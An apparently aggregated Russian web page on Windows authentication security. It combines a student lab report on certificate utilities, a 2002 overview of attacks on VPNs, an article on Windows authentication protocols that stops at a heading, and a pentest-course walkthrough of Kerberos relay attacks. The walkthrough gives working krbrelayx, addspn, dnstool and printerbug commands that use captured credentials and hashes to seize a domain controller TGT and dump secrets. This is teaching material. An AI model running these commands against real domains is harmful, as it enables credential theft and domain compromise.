Какими могут быть атаки на протокол прямой аутентификации в ос windows - Доктор Windows

МОСКОВСКИЙ
ГОСУДАРСТВЕННЫЙ ТЕХНОЛОГИЧЕСКИЙ
УНИВЕРСИТЕТ «СТАНКИН»

Кафедра
информационных систем

Отчёт

по
лабораторной работе № 6

дисциплина

«Защита
информации»

тема
работы

«Освоение
программных средств для работы с
сертификатами открытых ключей»

Выполнил:
студент группы ИДБ-15-15 Кулагина
Алиса Николаевна

Проверил:
преподаватель
Симонов Михаил Фёдорович

Москва
2018

С
помощью командной строки откроем
утилиту makecert
и создадим закрытый ключ ЭЦП и сертификат.

При
создании закрытого ключа система
запросит пароль для установки его на
ключ.

Как
видим, сертификат и ключ успешно
создались!

Просмотрим
сведения о сертификате. Он у нас является
недостоверным. Посему создадим достоверный
сертификат.

Для
этого я заново создам новый сертификат
и назову его MyNewRoot,
как прописано в методичке.

Следующими
командами мы создадим самоподписанный
сертификат, который сохраняется в
системном хранилище CA и в файле
myNewRoot.cer. Затем этот сертификат использум
для удостоверения вновь созданного
сертификата, помещаемого в хранилище
myNewSign, это и будет наш MyNewRoot:

MakeCert
-sk myNewRootKey -r -ss ca myNewRoot.cer

MakeCert
-is ca -ic myNewRoot.cer -ss myNewSign

Открываем
наш сертификат. Появляется окошко, в
котором нажимаем на кнопку “Установить
сертификат”.

Далее
весь процесс виден на скриншотах:

Далее
выбираем “Доверенные корневые
сертификаты”

Нажимаем
ОК и появляется окно предупреждения о
безопасности

В
итоге получаем доверенный сертификат.

2.
С помощью командной строки прописываем
путь к файлу утилиты makectl
и вызываем её.

Выбираем
по заданию назначения “Подписывание
кода” и “Сертификат шифрования ЦС”.

Выбираем
как доверенный сертификат созданный
нами ранее сертификат MyNewRoot.

Сохраняем
наш список доверия сертификатов в файл
Titorenko.stl

Просматриваем
файл Titorenko.stl

3.
С
помощью командной строки прописываем
путь к файлу утилиты CertMgr
и вызываем её.

Открывается
окно с имеющимися сертификатами. Далее
попробуем экспортировать сертификат.

Получили
новый сертификат Student.
Cer
.

Попробуем
теперь импортировать его .

А
вот что нам выдаст система при удалении
сертификата.

4.
Какие существуют методики применения
PIN-кодов?

PIN-код
вводится с помощью клавиатуры терминала
или компьютера и затем отправляется на
смарт-карту. Смарт-карта сравнивает
полученное значение PIN-кода с эталонным
значением, хранимым в карте, и отправляет
результат сравнения на терминал. Ввод
PIN-кода относится к мерам безопасности,
особенно для финансовых транзакций, и,
следовательно, требования к клавиатуре
часто определяются в этой прикладной
области. PIN-клавиатуры имеют все признаки
модуля безопасности, и они шифруют
PIN-код сразу при его вводе. Это обеспечивает
надежную защиту против проникновения
в клавиатуру для того, чтобы перехватить
PIN-код в то время, когда он вводится.

10.
Какими могут быть атаки на протокол
прямой аутентификации в ОС Windows?

Атаки
на протоколы можно разделить на два
класса:

При
пассивной атаке взломщик не участвует
в протоколе, он только следит за протоколом
и пытается раздобыть ценную информацию
на основе шифр текста.

При
активной атаке взломщик пытается
изменить протокол к собственной выгоде.
С этой целью активный взломщик может
выдавать себя за другого человека,
повторять сообщения, заменять сообщения,
разрывать линию, модифицировать
информацию.

13.
Как происходит непрямая аутентификация
в ОС Windows 2000?

В
общем случае протокол непрямой
аутентификации начинает свою работу,
когда кто-нибудь пытается зарегистрироваться
в точке обслуживания с удаленного места,
которым может быть, например, рабочая
станция. Когда точка обслуживания
принимает запрос на регистрацию, она
пересылает имя пользователя и пароль,
биометрические показания или другую
отличительную характеристику
аутентификационному серверу. Часто для
пересылки данных таких сообщений
используется внутренний протокол типа
RADIUS или протокол, разработанный
изготовителем. Если сервер подтверждает
аутентификацию, то он посылает в точку
обслуживания подтверждение, сформатированное
в соответствии с этим внутренним
протоколом. Получив его, точка обслуживания
принимает к исполнению попытку
пользователя зарегистрироваться. Если
сервер посылает отказ, то точка
обслуживания отвергает запрос.

Соседние файлы в папке Защита информации

Источник

Время прочтения
6 мин

Просмотры 1.8K

Заключительная статья нашего мини цикла. В этой статье мы поговорим о возможности атаки повтора на протокол Kerberos в Windows Active Directory. Рассмотрим примеры использования протокола и исследуем возможности инструментов. Первую часть можно прочитать здесь, а вторую тут.

Kerberos

Изначально протокол для аутентификации, который был создан в отрыве от операционной системы Windows. Протокол разрабатывался для того, чтобы клиент и сервер могли идентифицировать друг друга. Существование этого протокола позволяет взаимодействовать клиенту и серверу в незащищенном канале передачи данных. То есть, если попытаться модифицировать данные, которые использовались клиентом или сервером в рамках аутентификации, то такое воздействие будет выявлено. Успешное взаимодействие в рамках протокола дает пользователю специальный идентификатор, который может быть использован для доступа к сервису и называется ticket.

Компания Microsoft для своей операционной системы протокол доработала, чтобы можно было использовать, в частности, в механизмах Active Directory. Примерная схема работы протокола представлена на рисунке ниже:

Картинка взята отсюда.

Из особенностей протокола можно выделить основную — протокол использует только специальные имена для идентификации сервера и клиента. Эти имена имеют свою структуру, называются они Service Principal Name и User Principal Name. Без них Kerberos работать не может, обычно это те доменные имена, которые назначаются машинам, где работает сервис или пользователь.

Протокол пережил несколько версий, на момент написания этой статьи версия протокола 5. Протокол подразумевает, что во взаимодействии участвует как минимум 3 участника:

Клиент;
Сервер;
Key Distribution Center.

Физически это может быть всего 2 машины, которые существуют в рамках сети. В качестве KDC фактически может выступать сервис, который будет работать прямо на сервере совместно с приложением, а может быть использован отдельный сревер. И клиент, который хочет получить доступ к машине или к сервису.

Все действия протокола в Windows AD вращаются вокруг двух типов запросов:

KRB_AS_REQ — сообщение клиента для KDC на получение специального права на доступ — TGT(ticket-granting-ticket): здесь пользователь предоставляет информацю о себе. Это обязательно информация о его UPN и опциональная информация о его привелегиях в рамках Windows AD.
KRB_TGS_REG — сообщение сервиса по сути это тоже самое, что и KRB_AS_REQ, только в этом случае вместо UPN проставляется SPN. То есть в Windows AD в качестве пользователя для взаимодействия может быть использован сервис. В сообщении также можно проставить информацию о привелегиях пользователя.

На каждое сообщение, которое было описано, также существует ответ KDC. На этом моменте стоит подчеркнуть, что протокол Kerberos — в первую очередь, протокол аутентификации и он не обязан проводить процедуру авторизации. За этот последний этап контроля разграничения доступа должен отвечать адресат, который дает доступ к своим функциям с задействованием протокола Kerberos.

На этом можно бы было сказать, что со знакомством с этим протоколом можно и закончить, но все на самом деле сложнее, чем может показаться на первый взгляд. Так как Microsoft сделала просто дополнение для протокола и может добавлять в него еще расширения, то все сообщения и действия с ними могут быть вложены друг в друга, могут быть реализованы перекрестные запросы доступа от сервиса к себе самому, к пользовательским машинам в сети, может быть использован механизм делегации возможностей запроса доступа.

Поэтому атаки на этот протокол это всегда сложные логические взаимосвязи объектов внутри инфраструктуры и без знания их функционала и особенностей работы.

Долгое время все атаки на Kerberos вращались вокруг особенностей механизма так называемой преаутентификации. То есть можно было запросить данные из инфраструктуры по SPN сервиса и попробовать атакой bruteforce подобрать пароль от учетной записи. Атаки такого типа получили название Kerberoasting. Так было до исследования Google Zero Project. В этом исследовании рассматривались подходы, которые касаются атак повтора данных. Были изложены основные условия для успешной атаки повтора и теоритически изложены основные механизмы, через которые можно бы было имплементировать инструментарий для реализации атак. Прошел год и теперь мы можем поискать, что же из этого получилось.

Kerberos атаки повтора

Быстрый поиск по репозиториям приводит к 2м параллельно развивающимся инструментам:

KrbRelay от cube0x0;
krbrelayx от dirkjanm.

Оба инструмента опираются на принципы, которые были описаны в исследовании Google Zero Project, но используют свой подход к проведению атак.

krbrelayx

Инструмент, который может быть использован для атак на системы, где используется функция Kerberos внутри AD Windows — `unconstrained delegation`.

Вообще в протоколе Kerberos существует 3 типа делегирования:

`Unconstrained delegation` — любой сервис может быть использован для доступа к любому сервису или пользователю от имени сервиса.
`Constrained delegation` — сервис может получить доступ к ограниченному списку сервисов и/или пользователей, появлися в Windows Server 2003.
`Resource-based constrained delegation (RBCD)` — ограничение устанавливается не со стороны учетных записей, но со стороны самих ресурсов. Тоесть список разрешенных учеток будет указываться самим ресурсом.

Иными словами, если в сети не найдется аккаунт, который имеет включенную опцию `unconstrained delegation`, то использование этого инструмента без знания пароля от учетной записи машины — невозможно.

Проводить атаку повтора этим инструментом можно только если есть возможность подмены DNS сервера в сети или если атакующий смог раздобыть ключ шифрования, который используется для подписания каждого сообщения в рамказ работы с протоколом Kerberos.

Попробуем воспользоваться инструментом на практике. Для развертывания стенда будем использовать Vbox виртуальную среду и несколько виртуальных машин:

Windows Server 2019 — контроллер домена с включенной опцией участник домена с включенной `unconstrained delegation`
Kali Linux — атакующий, не находится в домене.

Из инструментов для атаки нам понадобится — krbrelayx.

Предварительная настройка:

Необходимо создать учетную запись на Windows Server.
Добавить spn для учетной записи: setspn -U -A servicetype/computerName:port/serviceNAme accountName.
После этого нужно проставить параметр в Свойствах учетной записи на делегацию через Kerberos для любого сервиса. Это можно сделать на вкладке Delegation.
Разрешить модификацию SPN. Это сделать можно в разделе Properties для характеристик объекта пользователя. Выполняется проще всего через adsiedit.msc.

Теперь перейдем к самой атаке. Производится за несколько этапов. Первый этап — создание для атакующего собственного spn. Это выполнить можно с помощью команды:

python3 ./addspn.py lab.localtestUser -p Qwerty123 -s testService/testComp:7676/test -s attacker.lab.local ldap://192.168.56.6

Используя логин и пароль захваченной учетной записи команда должна создать SPN, следующим шагом этот SPN нужно зарегестрировать на DNS:

python3 ./dnstool.py -u 'LAB.LOCALtestUser' -p Qwerty123 -r attacker.lab.local -a add -d 192.168.56.4

По прошествии периода синхронизации DNS в инфраструктуре (порядка 3 минут), можно будет проводить последующие этапы.

Следующую команду нужно запустить в фоне, чтобы инструмент krbrelayx мог собрать данные для дальнейшего дампа данных из уязвимой системы:

sudo python3 krbrelayx.py -aesKey ключСЗахваченноймашины

Последний этап для проведения атаки повтора — это получение данных, которые можно использовать для повтора. Основной механизм, который рассматривается в контексте использования этого инструмента — это уязвимость printerbug, которая заставляет уязвимую машину начинать взаимодействие с системой. Пример использования этой уязвимости:

python3 printerbug.py -hashes хэшОтУчеткиМашины:cUnconstrainedПользователем lab.local/TestHost$@lab.local attacker.lab.local

После того, как успешно отработает printerBug, в терминал с krbrelayx прилетит информация с TGT от оргинального запроса, и можно будет его использовать для выполнения команды по дампу информации из системы. Например, с помощью secretsdump набора скриптов Impacket.

Таким образом можно проводить атаки повтора на протокол Kerberos. Второй инструмент — KrbRelay — будем рассматривать на курсе «Пентест. Практика тестирования на проникновение».

Статья написана Александром Колесниковым.

Уже сегодня вечером состоится интенсив «Инструменты для взаимодействия с инфраструктурой Windows AD». На занятии рассмотрим, как работают инструменты Bloodhound и Rubeus, а также протестируем известные мисконфигурации. Для развертывания стенда будут предоставлены скрипты на первом занятии. Регистрация доступна по ссылке.

Источник

Что такое VPN

Атаки на криптографические алгоритмы

Атаки на криптографические ключи

Атаки на датчики случайных чисел

Атаки на протоколы VPN

Атаки на протоколы аутентификации

Атаки на реализацию

Атаки на оборудование VPN

Атаки на операционные системы

Атаки на пользователей

Заключение

О VPN пишут много и часто, но все опубликованные статьи касаются
лишь достоинств этой технологии. Однако как у любой медали есть две стороны,
так и у технологии построения частных виртуальных сетей есть свои недостатки.
Неправильная реализация или эксплуатация средств VPN сведет на нет все их достоинства.
В данной статье мы рассмотрим различные атаки, которые могут быть реализованы
против инфраструктуры VPN.

Что такое VPN

режде
чем описывать атаки, необходимо дать определение VPN и кратко перечислить ее
основные компоненты. Это позволит понять, куда могут быть направлены усилия
злоумышленников. Итак, не претендуя на истину в последней инстанции, технологию
VPN можно определить как комплекс мероприятий по передаче данных из одной точки
сети в другую безопасным образом. Это, на первый взгляд достаточно расплывчатое,
определение охватывает все возможные технологии построения VPN (включая и MPLS).
Анализ этого определения позволяет сделать ряд замечаний:

Безопасная передача данных реализуется на базе специальных протоколов
VPN и, как правило, с использованием шифрования (технологию MPLS, о которой
уже писал в КомпьютерПресс, № 10’2001, оставляю в стороне).
Поскольку обычно передача данных происходит по незащищенной сети (например,
Internet), то необходимо реализовать обмен ключами шифрования между абонентами
VPN, а в общем случае реализовать инфраструктуру управления ключами.
Средства построения VPN могут быть реализованы на базе программного или
программно-аппаратного обеспечения.
Наличие нескольких абонентов VPN требует их аутентификации.
VPN не только используется людьми, но и реализуется ими.

Руководствуясь этим, можно перейти к описанию возможных классов атак на элементы
VPN.

Атаки на криптографические алгоритмы

ервое,
что приходит на ум, — это атаки на используемый криптографический алгоритм.
В настоящий момент все алгоритмы можно условно разделить на две категории: известные
и секретные. К известным алгоритмам относятся DES, TripleDES, RSA, AES и наш
отечественный ГОСТ 28147-89. Эти алгоритмы знакомы специалистам довольно давно,
так же как и их слабые и сильные стороны.

Варианты атак на криптоалгоритмы достаточно разнообразны. Самой простой является
атака только на зашифрованной текст, когда криптоаналитик располагает лишь зашифрованным
текстом и путем анализа статистического распределения символов, а также посредством
других методов пытается распознать исходный текст. Любой алгоритм должен защищать
от такой атаки. Более сложным случаем является атака с известным незашифрованным
текстом. Здесь аналитику известен фрагмент исходного текста либо он делает обоснованное
предположение о нем. Например, это может быть стандартное начало или завершение
документа: «Конфиденциально», «Уважаемый», «С уважением» и т.д. Существуют и
более сложные типы атак, например дифференциальный криптоанализ, однако их рассмотрение
выходит за рамки статьи. Можно только отметить, что большинство распространенных
на сегодняшний день алгоритмов устойчивы к этим атакам.

Если все же вам предлагают VPN с секретным, патентованным или уникальным алгоритмом,
не имеющим аналогов и обеспечивающим недосягаемый уровень безопасности, то у
вас есть повод задуматься. Как было доказано еще в конце XX века, стойкость
криптографического алгоритма должна определяться не его секретностью, а ключом.
Поэтому все попытки скрыть алгоритм от общественности дают повод усомниться
в его надежности.

Атаки на криптографические ключи

ышеописанные
атаки на используемые в настоящее время алгоритмы практически бессильны, что
вынуждает злоумышленников проверять все возможные ключи шифрования (атака полным
перебором). Поэтому принципиально важным является выбор алгоритма с достаточной
длиной ключа. В табл. 1 приведен сравнительный анализ
времени и средств, затрачиваемых различными классами злоумышленников при полном
переборе криптографических ключей, используемых в симметричных алгоритмах (DES,
AES, ГОСТ 28147-89 и т.д.). Из этой таблицы следует, что отечественный алгоритм
ГОСТ 28147-89 с длиной ключа 256 бит не может быть взломан в обозримом будущем,
а зарубежные средства, подпадающие под экспортные ограничения США, ломаются
относительно легко.

Асимметричные алгоритмы используют ключи большей длины, так как атака полным
перебором на симметричные алгоритмы требует больших временных затрат, нежели
аналогичная атака на криптографию с открытым ключом. В табл.
2 приведено соответствие длин ключей в симметричных и асимметричных алгоритмах
для обеспечения сопоставимого уровня безопасности зашифрованных данных.

Разумеется, длина ключа зависит от того, как долго должна сохраняться в тайне
защищаемая информация. Если речь идет о персональных данных или ноу-хау и бизнес-проектах,
срок жизни которых может составлять десятилетия, то и длина ключа (при современном
уровне развития вычислительной техники) для их защиты должна быть большой (не
менее 128 бит). Если же речь идет о защите оперативной информации, например
о котировках акций или военных сведениях тактического плана, то с учетом того,
что такая информация теряет свою актуальность уже через несколько часов и даже
минут, длина ключа может быть и не столь большой. Представьте, что криптоаналитики
противника только через 10 минут дешифровали сообщение о запуске баллистической
ракеты, которая достигает заданной точки через 8 минут. Актуальность такой информации
практически равна нулю.

Для алгоритмов, основанных на открытых ключах, например RSA, существует ряд
математических проблем, которые не всегда учитываются при построении криптосистемы.
К ним можно отнести выбор начальных значений, на основе которых создаются ключи.
Есть определенные числа, позволяющие очень быстро вычислить секретный ключ.
В то же время правильный выбор начальных значений позволяет гарантировать невозможность
«лобовой» атаки в течение нескольких сотен лет при современном развитии вычислительной
техники. Аналогичные проблемы существуют и в симметричной криптографии.

Атаки на датчики случайных чисел

од
криптосистемой понимается не только используемый алгоритм зашифровывания/расшифровывания,
но также механизм генерации и распределения ключей и ряд других важных элементов,
влияющих на надежность криптосистемы. Надежность криптосистемы складывается
из надежности отдельных элементов, ее составляющих. Поэтому в некоторых случаях
нет необходимости атаковать алгоритм — достаточно попытаться атаковать один
из компонентов криптосистемы, например механизм генерации ключей. Если датчик
случайных чисел, реализованный в криптосистеме для генерации ключей, недостаточно
надежен, то говорить об эффективности такой системы не приходится, даже при
наличии хорошего криптографического алгоритма.

Датчики случайных чисел (ДСЧ), а точнее датчики псевдослучайных чисел, являются
одним из ключевых элементов при построении любой криптографической системы,
в том числе и VPN, и позволяют создавать действительно стойкие ключи. Псевдослучайными
они называются потому, что по-настоящему случайные числа в природе существуют,
а на компьютере получить их практически невозможно. Самый простой способ: не
глядя несколько раз нажать на кнопки клавиатуры или подвигать мышью. Если злоумышленник
может предсказать значения, генерируемые ДСЧ, то он способен и вычислить криптографические
ключи, что ставит под удар всю инфраструктуру VPN. Поэтому рекомендуется выбирать
действительно эффективные датчики псевдослучайных чисел, которые обычно реализуются
аппаратным образом, и не использовать функции random, rnd и т.д., встроенные
во многие языки программирования. В России качество ДСЧ (как и вообще любых
криптографических систем) подтверждается Федеральным агентством правительственной
связи и информации при Президенте РФ (ФАПСИ). Один из таких датчиков реализован
на электронном замке «Соболь», который имеет сертификат ФАПСИ, и может быть
использован (и используется) при построении криптографических систем.

Атаки на протоколы VPN

настоящий момент для построения VPN используется ряд протоколов, включая IPSec,
PPTP, L2TP и т.д. Эти протоколы не шифруют данные, а лишь определяют, как используются
алгоритмы шифрования и ряд других условий, необходимых для построения VPN (включая
контроль целостности, аутентификацию абонентов и т.д.). За последние пару лет
многие исследователи принимались за анализ данных протоколов с точки зрения
безопасности, но серьезных «дыр» обнаружено практически не было. А те, что все-таки
были найдены, были связаны с неправильной эксплуатацией или уже были устранены
разработчиками. Однако теоретическая возможность обнаружения уязвимостей в протоколах
IPSec, PPTP и т.д. сохраняется.

Атаки на протоколы аутентификации

становление
соединения между абонентами требует их взаимной аутентификации, то есть проверки
подлинности. В качестве протоколов аутентификации могут использоваться RADIUS,
TACACS (в том числе и TACACS+) и сертификаты. Не будем подробно останавливаться
на атаках на эти протоколы и осветим только получивший в последнее время распространение
метод использования сертификатов. Особенно это актуально с учетом того факта,
что сертификаты являются ключевым элементом федерального закона об электронной
цифровой подписи. Главная проблема связана с доверием к удостоверяющим центрам
(Certificate Authority), которые призваны выдавать на каждый открытый ключ абонента
сети свой сертификат. Если этот центр не дает абсолютной гарантии, то вся инфраструктура
VPN и гроша ломаного не стоит. Узлы сети VPN не смогут доверять сертификатам,
выданным удостоверяющим центром. Существуют и другие возможные атаки на систему
сертификатов, но объем данной статьи не позволяют рассмотреть их все.

Атаки на реализацию

таки
именно этого типа наиболее часто используются злоумышленниками. Связано это
с тем, что для этого не требуется обширных познаний в области математики. Достаточно
быть квалифицированным программистом или просто знать человеческие слабости.
Примеров неправильной реализации, приводящей к атаке на нее, можно назвать множество,
в частности:

Секретный ключ шифрования хранится на жестком диске, доступ к которому
никак не контролируется.
Криптографический ключ, хранящийся в оперативной памяти, не затирается
после использования.
Обеспечивается безопасность сеансовых ключей и уделяется недостаточное
внимание защите главных ключей.
Открыт доступ к «черным спискам» скомпрометированных ключей.
Отсутствует контроль целостности программного комплекса VPN, что позволяет
злоумышленнику изменить ПО, отвечающее за шифрование или проверку целостности
получаемых по сети пакетов.

Если же говорить о конкретных уязвимостях, то их можно назвать не меньше десятка.
В частности, уязвимости реализации PPTP, приводящие к отказу в обслуживании
в ОС Windows NT, межсетевом экране WatchGuard Firebox II, маршрутизаторах Cisco
и BinTec. Не обошлось и без уязвимостей IPSec. Например, в OpenBSD присутствовала
также приводившая к отказу в обслуживании уязвимость, связанная с некорректной
обработкой пакетов AH/ESP (специальные режимы IPSec), а в Windows 2000 в декабре
прошлого года была обнаружена уязвимость в реализации протокола обмена ключами
IKE для IPSec.

Можно добавить, что существуют варианты атак не только на программную составляющую
VPN, но и на аппаратные элементы, например на таблетки Touch Memory, смарт-карты
и другие аппаратные носители криптографических ключей.

Атаки на оборудование VPN

остаточно
часто VPN реализуется на базе уже существующего сетевого оборудования, как правило,
маршрутизаторов (например, Cisco 1720) или программно-аппаратных межсетевых
экранов (например, CheckPoint VPN-1 на базе платформы Nokia IP Security Solutions).
Также существуют и специализированные устройства построения VPN (например, «Континент-К»).
А раз это обычное устройство, поддерживающее стек TCP/IP, то на него могут быть
реализованы атаки «отказ в обслуживании», которые могут нарушить функционирование
самого устройства и обусловить временный сбой во взаимодействии защищаемых с
их помощью сетей и узлов.

Атаки на операционные системы

ередко
VPN реализуется чисто программными средствами (например, в Windows 2000), и
программное обеспечение VPN является надстройкой над операционной системой,
что зачастую используется злоумышленниками. Поэтому, независимо от надежности
и защищенности ПО VPN, уязвимости операционной системы могут свести на нет все
защитные механизмы VPN. Это особенно важно для продукции компании Microsoft,
которая не отличается продуманностью с точки зрения защиты: не было недели,
чтобы не обнаружилась очередная дыра в операционных системах Windows NT, Windows
2000, а с недавнего времени — Windows XP.

Атаки на пользователей

е
стоит забывать, что конечный пользователь также является элементом VPN и также
подвержен атакам, наравне со всеми прочими элементами. Пользователь может передать
дискету с секретными ключами, а может потерять такую дискету или другой носитель
секретных ключей и не сообщать об утере до того момента, пока эта дискета не
понадобится вновь.

В некоторых системах пользователь может сам создавать себе ключи для шифрования.
Генерация ключа основывается на паролях, которые выбираются самим пользователем.
Как известно, фантазия в выборе таких паролей у пользователя небогата. Поэтому
выбираются легко запоминаемые слова или фразы, которые столь же легко угадываются
злоумышленниками.

Заключение

еобходимо
запомнить главное правило (оно применимо не только к технологии VPN): «Безопасность
всей системы равна безопасности самого слабого звена». Поэтому очень важно не
только выбирать стойкий криптографический алгоритм и длинные ключи, но и обращать
пристальное внимание на другие компоненты VPN — программное и аппаратное обеспечение,
пользователей, реализацию и т.д.

КомпьютерПресс 3’2002

Источник

Протоколы, составляющие основу процедуры

Аутентификация — это незаменимая процедура для каждого пользователя, компьютера и служебной учетной записи Windows, но ее механизм не изучается системными администраторами досконально. Каждый знает, что для регистрации в компьютере необходимо указать верный пароль, но многим ли известно, что происходит потом? Аутентификация Windows и связанные с ней протоколы активизируются каждый раз, когда пользователь, компьютер или служба регистрируются локально или на контроллере домена (DC). В данной статье речь пойдет сначала об основных принципах аутентификации Windows, а затем о связанных с ней протоколах. В заключение приводятся краткие рекомендации по повышению надежности процедуры аутентификации в сети Windows.

Аутентификация: общие принципы

Аутентификация представляет собой один из компонентов любой компьютерной системы управления доступом. Как показано на экране 1, системы управления доступом обеспечивают идентификацию, аутентификацию, авторизацию и отчетность.

Рисунок 1. Механизмы управления доступом и аутентификация Windows

Идентификация (identification). В процессе идентификации используется набор данных, который уникально идентифицирует объект безопасности (например, пользователя, группу, компьютер, учетную запись службы) в общей службе каталогов. Служба каталогов, такая как Active Directory (AD), позволяет уникально идентифицировать объекты, подобно тому как DNS удостоверяет, что два человека не могут иметь одинаковые адреса электронной почты. Во внутренних механизмах Windows используются SID, глобально уникальные идентификаторы (globally unique identifier, GUID) и другие уникальные тэги. В большинстве случаев для идентификации достаточно ввести уникальное имя учетной записи, такое как Rgrimes. В большом лесу AD приходится применять полные имена пользователей (user principal name, UPN), например rgrimes@banneretcs.com. При использовании смарт-карт субъект безопасности может представить свой цифровой сертификат или ключ.

Аутентификация или проверка подлинности (authentication). После того как субъект безопасности вводит с клавиатуры или иным способом предоставляет необходимую для идентификации информацию (например, имя пользователя, маркер безопасности), он должен ввести с клавиатуры или представить частную информацию для аутентификации (например, пароль и PIN-код). В Windows субъект безопасности вводит эту информацию на экране регистрации с помощью программ Microsoft Graphical Identification and Authentication DLL (msgina.dll) и Winlogon.exe. Протокол аутентификации и механизм системы кодируют представленную информацию на настольном компьютере и передают запрос аутентификации. Служба аутентификации Windows может быть базой данных SAM или AD. База данных SAM обслуживает локальные процедуры регистрации и регистрацию на контроллерах домена Windows NT 4.0. AD аутентифицирует запросы в Windows 2000 или доменах более поздних версий этой операционной системы. Протокол аутентификации (например, LAN Manager, NT LAN Manager, NTLM, NTLMv2, Kerberos) используется для транспортировки запросов аутентификации и последующих транзакций между экраном регистрации и службой аутентификации. Чуть ниже каждый протокол аутентификации будет рассмотрен отдельно.

Авторизация (authorization). Если служба аутентификации удостоверяет комбинацию идентификатора и «секретных» данных аутентификации, то подлинность субъекта безопасности считается успешно подтвержденной. Затем система собирает информацию о членстве субъекта безопасности (т. е. пользователя) в группах. Нередко пользователь принадлежит к нескольким точно определенным группам — локальным (local), доменным (domain local), глобальным (global) и универсальным (universal) — в результате обычных процедур назначения членства. Система сверяет локальные группы с локальной базой данных SAM и проверяет локальные и глобальные группы на контроллерах DC в домашнем домене пользователя, а также универсальные группы на DC, который содержит глобальный каталог Global Catalog. Прямо или косвенно система собирает все сведения о членстве в группах, чтобы получить информацию о разрешениях безопасности.

Сразу после аутентификации система собирает идентификаторы SID учетной записи и сведения о членстве в группах в объекте, называемом маркером доступа (access token). Возможно, пользователю придется выйти и вновь зарегистрироваться в системе, чтобы новые разрешения безопасности вступили в силу. Если пользователю нужно получить доступ к объекту (например, файлу, папке, принтеру, разделу реестра), защищенному разрешениями NTFS, то процесс (например, Windows Explorer), выступающий от имени пользователя, предоставляет свой маркер доступа. Каждый объект NTFS располагает списком элементов управления доступом (access control entry, ACE), которые, в сущности, представляют собой знакомые разрешения NTFS (например, Allow Read, Allow Write). Набор элементов ACE, назначенных пользователям и группам, составляет список управления доступом (ACL) данного объекта. Примечательно, что ACL объекта представлен разрешениями безопасности, которые можно просмотреть в Windows Explorer.

Маркер доступа, содержащий учетную запись и группы, с которыми связан пользователь, определяет эффективные разрешения пользователя. Процесс авторизации заключается в разрешении или отказе в доступе к определенному объекту на основе сравнения маркера доступа с ACL объекта. Авторизацию обеспечивает Security Reference Monitor системы Windows (экран 1). В примере, показанном на экране 1, пользователь имеет разрешения Read, Write и Modify. Однако группа Everyone, к которой принадлежит пользователь, не имеет разрешения Modify. Члены других групп располагают разрешениями Read и Modify, но разрешение Deny группы Everyone отменяет разрешение Modify. Объект также располагает списками ACL, которые отказывают в разрешении Full Control группе HR, но пользователь к этой группе не принадлежит. Таким образом, эффективные разрешения пользователя по отношению к объекту на экране 2 — Read и Write.

Отчетность (accounting). Если в Windows режим аудита активизирован, то система сохраняет событие аутентификации в журнале Security, и это последний компонент системы управления доступом — отчетность. Большинство сложных событий начальной регистрации и последующей авторизации происходят за несколько секунд и скрыты от пользователя. Все сложные операции возлагаются на протокол аутентификации.

Задачи протокола

Протокол аутентификации должен выполнять по крайней мере две задачи. Во-первых, он должен безопасно передавать транзакции от запросчика в базу данных аутентификации и на любой другой компьютер, на котором размещен соответствующий ресурс. Во-вторых, он должен безопасно и надежно хранить пароль или маркер. Последнее представляет особый интерес для взломщиков паролей. Протокол аутентификации должен защитить введенную пользователем информацию при пересылке в базу данных аутентификации (т. е. SAM или AD). Для этого протокол подписывает, скрывает или шифрует транзакцию. Кроме того, ей присваивается временная метка, чтобы взломщик не мог воспользоваться учетными данными в будущем. Чтобы не позволить немедленно извлечь пароль пользователя из базы данных, протокол должен обеспечить скрытное хранение паролей в базе данных аутентификации.

В течение более чем десяти лет протоколы аутентификации в основном обеспечивали защиту путем сохранения паролей в скрытой форме (обычно хешированной) в базе данных аутентификации и полного запрета на передачу паролей между запросчиком и базой данных аутентификации простым текстом (даже в скрытой форме). Процесс запрос—ответ выглядит следующим образом:

Компьютер получает данные для идентификации и аутентификации от пользователя и запрашивает аутентификацию на соответствующем сервере.
Сервер аутентификации генерирует случайное произвольное значение (называемое запросом — challenge) и посылает его запросчику.
Запросчик получает запрос и производит над ним и скрытой формой пароля математические операции, а затем передает результат (называемый ответом — response) серверу аутентификации.
Сервер аутентификации также выполняет математические манипуляции с запросом методом, идентичным используемому на рабочей станции, и сравнивает результат с полученным ответом. Если результаты совпадают, то запросчик считается успешно аутентифицированным.

В протоколах аутентификации используется процесс запрос—ответ, поэтому пароль никогда не передается через сеть.

Локальная и доменная регистрация

При регистрации пользователя одна из первых задач Windows — определить, относится ли процедура только к локальной машине или к учетной записи домена. Пользователи, регистрирующиеся от имени локальной учетной записи, имеют доступ только к ресурсам своего компьютера и только если информация об учетной записи пользователя содержится в локальной базе данных SAM. Если пользователям нужно обратиться к ресурсам на удаленном компьютере без аутентификации в домене, то их учетные записи должны быть продублированы в локальной базе данных SAM каждого доступного компьютера. Учетные записи в каждом компьютере-участнике должны быть синхронизированы (одинаковые имена регистрации, пароли и сроки действия учетных данных на всех машинах). В противном случае положение значительно усложняется. Трудно обслуживать одноранговые (P2P) сети средних размеров, в которых применяются только локальные процедуры регистрации.

На DC не распространяется требование синхронизации нескольких учетных записей пользователей на разных компьютерах. При доменной аутентификации компьютеры, зарегистрированные в домене, отыскивают контроллеры DC, чтобы предъявить учетные данные доменной учетной записи пользователя при запросах аутентификации. Таким образом, если удаленный пользователь пытается получить доступ к локальному ресурсу какой-нибудь машины, то этот компьютер просит DC проверить идентичность запрашивающего пользователя. Учетные записи пользователя домена располагаются только на DC и создаются лишь один раз. Любой компьютер-участник, которому нужно удостоверить учетную запись в домене, может обратиться к контроллерам DC в любое время. Проблемы синхронизации имен регистрации, паролей и сроков их действия не возникает, так как учетные данные и управление учетной записью осуществляются только в одном месте — на DC. Независимо от типа регистрации (локальной или доменной), Windows должна аутентифицировать запрос пользователя.

Протоколы аутентификации Windows

